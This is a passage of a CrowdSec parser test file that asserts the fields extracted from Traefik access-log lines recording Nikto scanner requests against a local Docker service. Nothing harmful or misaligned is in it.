results["s01-parse"]["crowdsecurity/traefik-logs"][2].Evt.Meta["user"] == "-" results["s01-parse"]["crowdsecurity/traefik-logs"][2].Evt.Meta["log_type"] == "http_access-log" results["s01-parse"]["crowdsecurity/traefik-logs"][2].Evt.Meta["traefik_router_name"] == "test@docker" results["s01-parse"]["crowdsecurity/traefik-logs"][2].Evt.Meta["http_path"] == "/cgi.cgi/" results["s01-parse"]["crowdsecurity/traefik-logs"][2].Evt.Meta["http_status"] == "200" results["s01-parse"]["crowdsecurity/traefik-logs"][2].Evt.Meta["service"] == "http" results["s01-parse"]["crowdsecurity/traefik-logs"][2].Evt.Meta["source_ip"] == "172.17.0.1" results["s01-parse"]["crowdsecurity/traefik-logs"][2].Evt.Meta["datasource_path"] == "traefik_clf.log" results["s01-parse"]["crowdsecurity/traefik-logs"][2].Evt.Meta["datasource_type"] == "file" results["s01-parse"]["crowdsecurity/traefik-logs"][3].Success == true results["s01-parse"]["crowdsecurity/traefik-logs"][3].Evt.Parsed["request"] == "/index?toto=tata" results["s01-parse"]["crowdsecurity/traefik-logs"][3].Evt.Parsed["traefik_router_name"] == "test@docker" results["s01-parse"]["crowdsecurity/traefik-logs"][3].Evt.Parsed["traefik_server_url"] == "http://172.17.0.3:80" results["s01-parse"]["crowdsecurity/traefik-logs"][3].Evt.Parsed["message"] == "172.17.0.1 - - [08/Dec/2021:13:59:39 +0000] \"GET /index?toto=tata HTTP/1.1\" 200 352 \"-\" \"Nikto\" 242 \"test@docker\" \"http://172.17.0.3:80\" 1ms" results["s01-parse"]["crowdsecurity/traefik-logs"][3].Evt.Parsed["port"] == "80" results["s01-parse"]["crowdsecurity/traefik-logs"][3].Evt.Parsed["http_user_agent"] == "Nikto" results["s01-parse"]["crowdsecurity/traefik-logs"][3].Evt.Parsed["number_of_requests_received_since_traefik_started"] == "242" results["s01-parse"]["crowdsecurity/traefik-logs"][3].Evt.Parsed["remote_addr"] == "172.17.0.1" results["s01-parse"]["crowdsecurity/traefik-logs"][3].Evt.Parsed["request_duration_in_ms"] == "1" results["s01-parse"]["crowdsecurity/traefik-logs"][3].Evt.Parsed["status"] == "200" results["s01-parse"]["crowdsecurity/traefik-logs"][3].Evt.Parsed["body_bytes_sent"] == "352" results["s01-parse"]["crowdsecurity/traefik-logs"][3].Evt.Parsed["http_referer"] == "-" results["s01-parse"]["crowdsecurity/traefik-logs"][3].Evt.Parsed["time_local"] == "08/Dec/2021:13:59:39 +0000" results["s01-parse"]["crowdsecurity/traefik-logs"][3].Evt.Parsed["http_version"] == "1.1" results["s01-parse"]["crowdsecurity/traefik-logs"][3].Evt.Parsed["remote_user"] == "-" results["s01-parse"]["crowdsecurity/traefik-logs"][3].Evt.Parsed["program"] == "traefik" results["s01-parse"]["crowdsecurity/traefik-logs"][3].Evt.Parsed["verb"] == "GET" results["s01-parse"]["crowdsecurity/traefik-logs"][3].Evt.Meta["datasource_path"] == "traefik_clf.log" results["s01-parse"]["crowdsecurity/traefik-logs"][3].Evt.Meta["datasource_type"] == "file" results["s01-parse"]["crowdsecurity/traefik-logs"][3].Evt.Meta["http_status"] == "200" results["s01-parse"]["crowdsecurity/traefik-logs"][3].Evt.Meta["service"] == "http" results["s01-parse"]["crowdsecurity/traefik-logs"][3].Evt.Meta["source_ip"] == "172.17.0.1" results["s01-parse"]["crowdsecurity/traefik-logs"][3].Evt.Meta["http_path"] == "/index?toto=tata" results["s01-parse"]["crowdsecurity/traefik-logs"][3].Evt.Meta["log_type"] == "http_access-log" results["s01-parse"]["crowdsecurity/traefik-logs"][3].Evt.Meta["traefik_router_name"] == "test@docker" results["s01-parse"]["crowdsecurity/traefik-logs"][3].Evt.Meta["user"] == "-" results["s01-parse"]["crowdsecurity/traefik-logs"][4].Success == true results["s01-parse"]["crowdsecurity/traefik-logs"][4].Evt.Parsed["program"] == "traefik" results["s01-parse"]["crowdsecurity/traefik-logs"][4].Evt.Parsed["message"] == "172.17.1.1 - - [28/Sep/2022:13:38:04 +0000] \"GET /mobileadmin/home.cs HTTP/1.1\" - - \"-\" \"Mozilla/5.00 (Nikto/2.1.5) (Evasions:None) (Test:006607)\" 45640 \"-\" \"-\" 0ms" results["s01-parse"]["crowdsecurity/traefik-logs"][4].Evt.Parsed["number_of_requests_received_since_traefik_started"] == "45640" results["s01-parse"]["crowdsecurity/traefik-logs"][4].Evt.Parsed["request"] == "/mobileadmin/home.cs" results["s01-parse"]["crowdsecurity/traefik-logs"][4].Evt.Parsed["status"] == "-" results["s01-parse"]["crowdsecurity/traefik-logs"][4].Evt.Parsed["traefik_server_url"] == "-" results["s01-parse"]["crowdsecurity/traefik-logs"][4].Evt.Parsed["http_referer"] == "-" results["s01-parse"]["crowdsecurity/traefik-logs"][4].Evt.Parsed["remote_user"] == "-" results["s01-parse"]["crowdsecurity/traefik-logs"][4].Evt.Parsed["request_duration_in_ms"] == "0" results["s01-parse"]["crowdsecurity/traefik-logs"][4].Evt.Parsed["traefik_router_name"] == "-" results["s01-parse"]["crowdsecurity/traefik-logs"][4].Evt.Parsed["verb"] == "GET" results["s01-parse"]["crowdsecurity/traefik-logs"][4].Evt.Parsed["http_user_agent"] == "Mozilla/5.00 (Nikto/2.1.5) (Evasions:None) (Test:006607)" results["s01-parse"]["crowdsecurity/traefik-logs"][4].Evt.Parsed["http_version"] == "1.1" results["s01-parse"]["crowdsecurity/traefik-logs"][4].Evt.Parsed["remote_addr"] == "172.17.1.1" results["s01-parse"]["crowdsecurity/traefik-logs"][4].Evt.Parsed["time_local"] == "28/Sep/2022:13:38:04 +0000" results["s01-parse"]["crowdsecurity/traefik-logs"][4].Evt.Parsed["body_bytes_sent"] == "-" results["s01-parse"]["crowdsecurity/traefik-logs"][4].Evt.Meta["datasource_path"] == "traefik_clf.log" results["s01-parse"]["crowdsecurity/traefik-logs"][4].Evt.Meta["http_status"] == "-" results["s01-parse"]["crowdsecurity/traefik-logs"][4].Evt.Meta["service"] == "http" results["s01-parse"]["crowdsecurity/traefik-logs"][4].Evt.Meta["traefik_router_name"] == "-" results["s01-parse"]["crowdsecurity/traefik-logs"][4].Evt.Meta["datasource_type"] == "file" results["s01-parse"]["crowdsecurity/traefik-logs"][4].Evt.Meta["http_path"] == "/mobileadmin/home.cs" results["s01-parse"]["crowdsecurity/traefik-logs"][4].Evt.Meta["log_type"] == "http_access-log" results["s01-parse"]["crowdsecurity/traefik-logs"][4].Evt.Meta["source_ip"] == "172.17.1.1" results["s01-parse"]["crowdsecurity/traefik-logs"][4].Evt.Meta["user"] == "-" len(results["s02-enrich"]["crowdsecurity/dateparse-enrich"]) == 5 results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Success == true results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Parsed["status"] == "200" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Parsed["time_local"] == "08/Dec/2021:09:16:05 +0000" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Parsed["http_version"] == "1.1" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Parsed["http_user_agent"] == "-" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Parsed["message"] == "172.17.0.1 - - [08/Dec/2021:09:16:05 +0000] \"GET /scripts/cpshost.dll HTTP/1.1\" 200 414 \"-\" \"-\" 500 \"test@docker\" \"http://172.17.0.3:80\" 0ms" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Parsed["number_of_requests_received_since_traefik_started"] == "500" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Parsed["request"] == "/scripts/cpshost.dll" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Parsed["traefik_router_name"] == "test@docker" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Parsed["traefik_server_url"] == "http://172.17.0.3:80" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Parsed["body_bytes_sent"] == "414" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Parsed["remote_user"] == "-" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Parsed["remote_addr"] == "172.17.0.1" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Parsed["port"] == "80" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Parsed["program"] == "traefik" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Parsed["request_duration_in_ms"] == "0" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Parsed["verb"] == "GET" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Parsed["http_referer"] == "-" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Meta["datasource_path"] == "traefik_clf.log" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Meta["service"] == "http" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Meta["source_ip"] == "172.17.0.1" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Meta["timestamp"] == "2021-12-08T09:16:05Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Meta["traefik_router_name"] == "test@docker" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Meta["datasource_type"] == "file" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Meta["http_path"] == "/scripts/cpshost.dll" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Meta["http_status"] == "200" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Meta["log_type"] == "http_access-log" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Meta["user"] == "-" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Enriched["MarshaledTime"] == "2021-12-08T09:16:05Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Success == true results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Parsed["http_version"] == "1.1" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Parsed["port"] == "80" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Parsed["request_duration_in_ms"] == "0" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Parsed["status"] == "200" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Parsed["time_local"] == "08/Dec/2021:09:16:05 +0000" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Parsed["body_bytes_sent"] == "405" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Parsed["number_of_requests_received_since_traefik_started"] == "502" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Parsed["program"] == "traefik" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Parsed["remote_user"] == "-" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Parsed["traefik_router_name"] == "test@docker" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Parsed["traefik_server_url"] == "http://172.17.0.3:80" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Parsed["http_user_agent"] == "-" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Parsed["message"] == "172.17.0.1 - - [08/Dec/2021:09:16:05 +0000] \"GET /upload.asp?test=toto&tata=test HTTP/1.1\" 200 405 \"-\" \"-\" 502 \"test@docker\" \"http://172.17.0.3:80\" 0ms" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Parsed["remote_addr"] == "172.17.0.1" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Parsed["request"] == "/upload.asp?test=toto&tata=test" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Parsed["verb"] == "GET" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Parsed["http_referer"] == "-" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Meta["log_type"] == "http_access-log" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Meta["timestamp"] == "2021-12-08T09:16:05Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Meta["user"] == "-" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Meta["service"] == "http" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Meta["source_ip"] == "172.17.0.1" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Meta["traefik_router_name"] == "test@docker" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Meta["datasource_path"] == "traefik_clf.log" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Meta["datasource_type"] == "file" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Meta["http_path"] == "/upload.asp?test=toto&tata=test" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Meta["http_status"] == "200" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Enriched["MarshaledTime"] == "2021-12-08T09:16:05Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][2].Success == true results["s02-enrich"]["crowdsecurity/dateparse-enrich"][2].Evt.Parsed["http_referer"] == "-" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][2].Evt.Parsed["remote_user"] == "-" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][2].Evt.Parsed["request_duration_in_ms"] == "0" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][2].Evt.Parsed["time_local"] == "08/Dec/2021:13:59:39 +0000" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][2].Evt.Parsed["remote_addr"] == "172.17.0.1" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][2].Evt.Parsed["request"] == "/cgi.cgi/" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][2].Evt.Parsed["verb"] == "GET" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][2].Evt.Parsed["body_bytes_sent"] == "352" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][2].Evt.Parsed["http_version"] == "1.1" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][2].Evt.Parsed["number_of_requests_received_since_traefik_started"] == "240" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][2].Evt.Parsed["program"] == "traefik" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][2].Evt.Parsed["port"] == "80" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][2].Evt.Parsed["traefik_router_name"] == "test@docker" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][2].Evt.Parsed["traefik_server_url"] == "http://172.17.0.3:80" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][2].Evt.Parsed["http_user_agent"] == "Nikto" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][2].Evt.Parsed["message"] == "172.17.0.1 - - [08/Dec/2021:13:59:39 +0000] \"GET /cgi.cgi/ HTTP/1.1\" 200 352 \"-\" \"Nikto\" 240 \"test@docker\" \"http://172.17.0.3:80\" 0ms" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][2].Evt.Parsed["status"] == "200" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][2].Evt.Meta["http_status"] == "200" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][2].Evt.Meta["log_type"] == "http_access-log" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][2].Evt.Meta["source_ip"] == "172.17.0.1" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][2].Evt.Meta["user"] == "-" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][2].Evt.Meta["datasource_path"] == "traefik_clf.log" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][2].Evt.Meta["datasource_type"] == "file" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][2].Evt.Meta["http_path"] == "/cgi.cgi/" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][2].Evt.Meta["service"] == "http" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][2].Evt.Meta["timestamp"] == "2021-12-08T13:59:39Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][2].Evt.Meta["traefik_router_name"] == "test@docker" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][2].Evt.Enriched["MarshaledTime"] == "2021-12-08T13:59:39Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][3].Success == true results["s02-enrich"]["crowdsecurity/dateparse-enrich"][3].Evt.Parsed["traefik_router_name"] == "test@docker" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][3].Evt.Parsed["http_version"] == "1.1" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][3].Evt.Parsed["message"] == "172.17.0.1 - - [08/Dec/2021:13:59:39 +0000] \"GET /index?toto=tata HTTP/1.1\" 200 352 \"-\" \"Nikto\" 242 \"test@docker\" \"http://172.17.0.3:80\" 1ms" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][3].Evt.Parsed["number_of_requests_received_since_traefik_started"] == "242" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][3].Evt.Parsed["remote_addr"] == "172.17.0.1" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][3].Evt.Parsed["verb"] == "GET" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][3].Evt.Parsed["http_referer"] == "-" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][3].Evt.Parsed["port"] == "80" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][3].Evt.Parsed["time_local"] == "08/Dec/2021:13:59:39 +0000" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][3].Evt.Parsed["traefik_server_url"] == "http://172.17.0.3:80" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][3].Evt.Parsed["program"] == "traefik" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][3].Evt.Parsed["status"] == "200" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][3].Evt.Parsed["request_duration_in_ms"] == "1" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][3].Evt.Parsed["body_bytes_sent"] == "352" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][3].Evt.Parsed["http_user_agent"] == "Nikto" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][3].Evt.Parsed["remote_user"] == "-" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][3].Evt.Parsed["request"] == "/index?toto=tata" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][3].Evt.Meta["service"] == "http" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][3].Evt.Meta["source_ip"] == "172.17.0.1" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][3].Evt.Meta["timestamp"] == "2021-12-08T13:59:39Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][3].Evt.Meta["user"] == "-" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][3].Evt.Meta["datasource_path"] == "traefik_clf.log" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][3].Evt.Meta["datasource_type"] == "file" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][3].Evt.Meta["http_status"] == "200" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][3].Evt.Meta["http_path"] == "/index?toto=tata" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][3].Evt.Meta["log_type"] == "http_access-log" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][3].Evt.Meta["traefik_router_name"] == "test@docker" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][3].Evt.Enriched["MarshaledTime"] == "2021-12-08T13:59:39Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][4].Success == true results["s02-enrich"]["crowdsecurity/dateparse-enrich"][4].Evt.Parsed["message"] == "172.17.1.1 - - [28/Sep/2022:13:38:04 +0000] \"GET /mobileadmin/home.cs HTTP/1.1\" - - \"-\" \"Mozilla/5.00 (Nikto/2.1.5) (Evasions:None) (Test:006607)\" 45640 \"-\" \"-\" 0ms" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][4].Evt.Parsed["remote_addr"] == "172.17.1.1" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][4].Evt.Parsed["request"] == "/mobileadmin/home.cs" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][4].Evt.Parsed["status"] == "-" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][4].Evt.Parsed["time_local"] == "28/Sep/2022:13:38:04 +0000" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][4].Evt.Parsed["body_bytes_sent"] == "-" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][4].Evt.Parsed["http_referer"] == "-" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][4].Evt.Parsed["http_version"] == "1.1" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][4].Evt.Parsed["number_of_requests_received_since_traefik_started"] == "45640" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][4].Evt.Parsed["traefik_router_name"] == "-" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][4].Evt.Parsed["http_user_agent"] == "Mozilla/5.00 (Nikto/2.1.5) (Evasions:None) (Test:006607)" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][4].Evt.Parsed["traefik_server_url"] == "-" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][4].Evt.Parsed["program"] == "traefik" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][4].Evt.Parsed["remote_user"] == "-" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][4].Evt.Parsed["request_duration_in_ms"] == "0" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][4].Evt.Parsed["verb"] == "GET" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][4].Evt.Meta["log_type"] == "http_access-log" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][4].Evt.Meta["source_ip"] == "172.17.1.1" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][4].Evt.Meta["traefik_router_name"] == "-" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][4].Evt.Meta["datasource_type"] == "file" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][4].Evt.Meta["http_path"] == "/mobileadmin/home.cs" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][4].Evt.Meta["http_status"] == "-" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][4].Evt.Meta["user"] == "-" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][4].Evt.Meta["datasource_path"] == "traefik_clf.log" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][4].Evt.Meta["service"] == "http" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][4].Evt.Meta["timestamp"] == "2022-09-28T13:38:04Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][4].Evt.Enriched["MarshaledTime"] == "2022-09-28T13:38:04Z" len(results["s02-enrich"]["crowdsecurity/http-logs"]) == 5 results["s02-enrich"]["crowdsecurity/http-logs"][0].Success == true results["s02-enrich"]["crowdsecurity/http-logs"][0].Evt.Parsed["http_user_agent"] == "-" results["s02-enrich"]["crowdsecurity/http-logs"][0].Evt.Parsed["program"] == "traefik" results["s02-enrich"]["crowdsecurity/http-logs"][0].Evt.Parsed["request"] == "/scripts/cpshost.dll" results["s02-enrich"]["crowdsecurity/http-logs"][0].Evt.Parsed["traefik_router_name"] == "test@docker" results["s02-enrich"]["crowdsecurity/http-logs"][0].Evt.Parsed["message"] == "172.17.0.1 - - [08/Dec/2021:09:16:05 +0000] \"GET /scripts/cpshost.dll HTTP/1.1\" 200 414 \"-\" \"-\" 500 \"test@docker\" \"http://172.17.0.3:80\" 0ms" results["s02-enrich"]["crowdsecurity/http-logs"][0].Evt.Parsed["number_of_requests_received_since_traefik_started"] == "500" results["s02-enrich"]["crowdsecurity/http-logs"][0].Evt.Parsed["port"] == "80" results["s02-enrich"]["crowdsecurity/http-logs"][0].Evt.Parsed["remote_user"] == "-" results["s02-enrich"]["crowdsecurity/http-logs"][0].Evt.Parsed["file_frag"] == "cpshost" results["s02-enrich"]["crowdsecurity/http-logs"][0].Evt.Parsed["http_referer"] == "-" results["s02-enrich"]["crowdsecurity/http-logs"][0].Evt.Parsed["http_version"] == "1.1" results["s02-enrich"]["crowdsecurity/http-logs"][0].Evt.Parsed["impact_completion"] == "true" results["s02-enrich"]["crowdsecurity/http-logs"][0].Evt.Parsed["status"] == "200" results["s02-enrich"]["crowdsecurity/http-logs"][0].Evt.Parsed["traefik_server_url"] == "http://172.17.0.3:80" results["s02-enrich"]["crowdsecurity/http-logs"][0].Evt.Parsed["time_local"] == "08/Dec/2021:09:16:05 +0000" results["s02-enrich"]["crowdsecurity/http-logs"][0].Evt.Parsed["body_bytes_sent"] == "414" results["s02-enrich"]["crowdsecurity/http-logs"][0].Evt.Parsed["file_ext"] == ".dll" results["s02-enrich"]["crowdsecurity/http-logs"][0].Evt.Parsed["file_name"] == "cpshost.dll" results["s02-enrich"]["crowdsecurity/http-logs"][0].Evt.Parsed["request_duration_in_ms"] == "0" results["s02-enrich"]["crowdsecurity/http-logs"][0].Evt.Parsed["file_dir"] == "/scripts/" results["s02-enrich"]["crowdsecurity/http-logs"][0].Evt.Parsed["remote_addr"] == "172.17.0.1" results["s02-enrich"]["crowdsecurity/http-logs"][0].Evt.Parsed["static_ressource"] == "false" results["s02-enrich"]["crowdsecurity/http-logs"][0].Evt.Parsed["verb"] == "GET" results["s02-enrich"]["crowdsecurity/http-logs"][0].Evt.Meta["datasource_type"] == "file" results["s02-enrich"]["crowdsecurity/http-logs"][0].Evt.Meta["http_args_len"] == "0" results["s02-enrich"]["crowdsecurity/http-logs"][0].Evt.Meta["service"] == "http" results["s02-enrich"]["crowdsecurity/http-logs"][0].Evt.Meta["source_ip"] == "172.17.0.1" results["s02-enrich"]["crowdsecurity/http-logs"][0].Evt.Meta["timestamp"] == "2021-12-08T09:16:05Z" results["s02-enrich"]["crowdsecurity/http-logs"][0].Evt.Meta["datasource_path"] == "traefik_clf.log" results["s02-enrich"]["crowdsecurity/http-logs"][0].Evt.Meta["http_path"] == "/scripts/cpshost.dll" results["s02-enrich"]["crowdsecurity/http-logs"][0].Evt.Meta["http_status"] == "200" results["s02-enrich"]["crowdsecurity/http-logs"][0].Evt.Meta["log_type"] == "http_access-log" results["s02-enrich"]["crowdsecurity/http-logs"][0].Evt.Meta["traefik_router_name"] == "test@docker" results["s02-enrich"]["crowdsecurity/http-logs"][0].Evt.Meta["user"] == "-" results["s02-enrich"]["crowdsecurity/http-logs"][0].Evt.Enriched["MarshaledTime"] == "2021-12-08T09:16:05Z" results["s02-enrich"]["crowdsecurity/http-logs"][1].Success == true results["s02-enrich"]["crowdsecurity/http-logs"][1].Evt.Parsed["file_frag"] == "upload" results["s02-enrich"]["crowdsecurity/http-logs"][1].Evt.Parsed["message"] == "172.17.0.1 - - [08/Dec/2021:09:16:05 +0000] \"GET /upload.asp?test=toto&tata=test HTTP/1.1\" 200 405 \"-\" \"-\" 502 \"test@docker\" \"http://172.17.0.3:80\" 0ms" results["s02-enrich"]["crowdsecurity/http-logs"][1].Evt.Parsed["number_of_requests_received_since_traefik_started"] == "502" results["s02-enrich"]["crowdsecurity/http-logs"][1].Evt.Parsed["remote_user"] == "-" results["s02-enrich"]["crowdsecurity/http-logs"][1].Evt.Parsed["verb"] == "GET" results["s02-enrich"]["crowdsecurity/http-logs"][1].Evt.Parsed["file_ext"] == ".asp" results["s02-enrich"]["crowdsecurity/http-logs"][1].Evt.Parsed["http_args"] == "test=toto&tata=test" results["s02-enrich"]["crowdsecurity/http-logs"][1].Evt.Parsed["http_user_agent"] == "-" results["s02-enrich"]["crowdsecurity/http-logs"][1].Evt.Parsed["impact_completion"] == "true" results["s02-enrich"]["crowdsecurity/http-logs"][1].Evt.Parsed["remote_addr"] == "172.17.0.1" results["s02-enrich"]["crowdsecurity/http-logs"][1].Evt.Parsed["traefik_server_url"] == "http://172.17.0.3:80" results["s02-enrich"]["crowdsecurity/http-logs"][1].Evt.Parsed["file_name"] == "upload.asp" results["s02-enrich"]["crowdsecurity/http-logs"][1].Evt.Parsed["http_referer"] == "-" results["s02-enrich"]["crowdsecurity/http-logs"][1].Evt.Parsed["http_version"] == "1.1" results["s02-enrich"]["crowdsecurity/http-logs"][1].Evt.Parsed["request_duration_in_ms"] == "0" results["s02-enrich"]["crowdsecurity/http-logs"][1].Evt.Parsed["static_ressource"] == "false" results["s02-enrich"]["crowdsecurity/http-logs"][1].Evt.Parsed["status"] == "200" results["s02-enrich"]["crowdsecurity/http-logs"][1].Evt.Parsed["traefik_router_name"] == "test@docker" results["s02-enrich"]["crowdsecurity/http-logs"][1].Evt.Parsed["body_bytes_sent"] == "405" results["s02-enrich"]["crowdsecurity/http-logs"][1].Evt.Parsed["file_dir"] == "/" results["s02-enrich"]["crowdsecurity/http-logs"][1].Evt.Parsed["port"] == "80" results["s02-enrich"]["crowdsecurity/http-logs"][1].Evt.Parsed["program"] == "traefik" results["s02-enrich"]["crowdsecurity/http-logs"][1].Evt.Parsed["request"] == "/upload.asp" results["s02-enrich"]["crowdsecurity/http-logs"][1].Evt.Parsed["time_local"] == "08/Dec/2021:09:16:05 +0000" results["s02-enrich"]["crowdsecurity/http-logs"][1].Evt.Meta["service"] == "http" results["s02-enrich"]["crowdsecurity/http-logs"][1].Evt.Meta["source_ip"] == "172.17.0.1" results["s02-enrich"]["crowdsecurity/http-logs"][1].Evt.Meta["user"] == "-" results["s02-enrich"]["crowdsecurity/http-logs"][1].Evt.Meta["datasource_type"] == "file" results["s02-enrich"]["crowdsecurity/http-logs"][1].Evt.Meta["http_path"] == 